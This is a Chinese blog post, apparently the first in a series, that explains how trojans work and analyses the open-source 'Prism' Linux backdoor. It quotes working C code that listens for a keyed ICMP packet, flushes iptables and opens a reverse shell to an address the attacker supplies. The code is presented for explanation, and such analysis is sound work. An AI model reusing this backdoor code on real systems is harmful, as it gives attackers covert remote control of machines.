木马简析(1)

千年之后,特洛伊木马的神话仍在赛博空间(cyberspace)中延续,尽管如今已经被赋予了不光彩的内涵。它曾经代表着高明的技巧以及社会工程学上的高超成就,而如今却被视为一种恶意的程序,其唯一的目的是在不知不觉中入侵受害者的计算终端,接收控制者的命令,窃取用户的账号密码,远程打开摄像头、麦克风,远程执行 shell 命令,或者为更多的恶意软件打开大门。木马程序甚至可以将被控终端作为跳板,入侵其它计算终端。

首先可以举一个例子,这里以GitHub中的 棱镜 项目做分析,这个开源项目是一个支持 linux 系统的远程 shell 工具,支持反弹端口和 icmp 激活上线两种模式。

它的代码核心采用tcp 反弹端口的方式上线,通过 icmp 协议传递上线地址和端口。接下来看一下源码。

/* If this is an ICMP_ECHO packet and if the KEY is correct  */
if ((icmp->icmp_type == ICMP_ECHO) && (memcmp(icmp->icmp_data,ICMP_KEY, icmp_key_size) == 0)) {
    char bd_ip[16];
    int bd_port;

    bd_port = 0;
    bzero(bd_ip, sizeof(bd_ip));
    sscanf((char *)(icmp->icmp_data + icmp_key_size + 1), "%15s %d", bd_ip, &bd_port);

    if ((bd_port <= 0) || (strlen(bd_ip) < 7))
        continue;

    /* Starting reverse shell */
    if (fork() == 0) {
    #ifdef IPTABLES
        flush_iptables();
    #endif
        //printf("->Starting reverse shell (%s:%d)...\n", bd_ip, bd_port);
        start_reverse_shell(bd_ip, bd_port);
        exit(EXIT_SUCCESS);
    }
}
/*
 * Start the reverse shell
 */
void start_reverse_shell(char *bd_ip, unsigned short int bd_port)
{
    int sd;
    struct sockaddr_in serv_addr;
    struct hostent *server;

    /* socket() */
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if (sd < 0) 
        return;

    server = gethostbyname(bd_ip);
    if (server == NULL)
        return;

    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
    serv_addr.sin_port = htons(bd_port);

    /* connect() */
    if (connect(sd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0) 
        return;

    /* motd */   
    write(sd, MOTD, strlen(MOTD));

    /* connect the socket to process sdout,stdin and stderr */
    dup2(sd, 0); 
    dup2(sd, 1); 
    dup2(sd, 2);

    /* running the shell */
    execl(SHELL, SHELL, (char *)0);
    close(sd);
}

但是有几点缺陷:无通信加密,监听端口没有隐藏,不支持交互命令。

 

 

[它们的屠城史–木马技术发展趋势与回顾]

(https://cloud.tencent.com/developer/article/1481368)

 

[稜鏡計畫]

(https://zh.wikipedia.org/wiki/稜鏡計畫)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值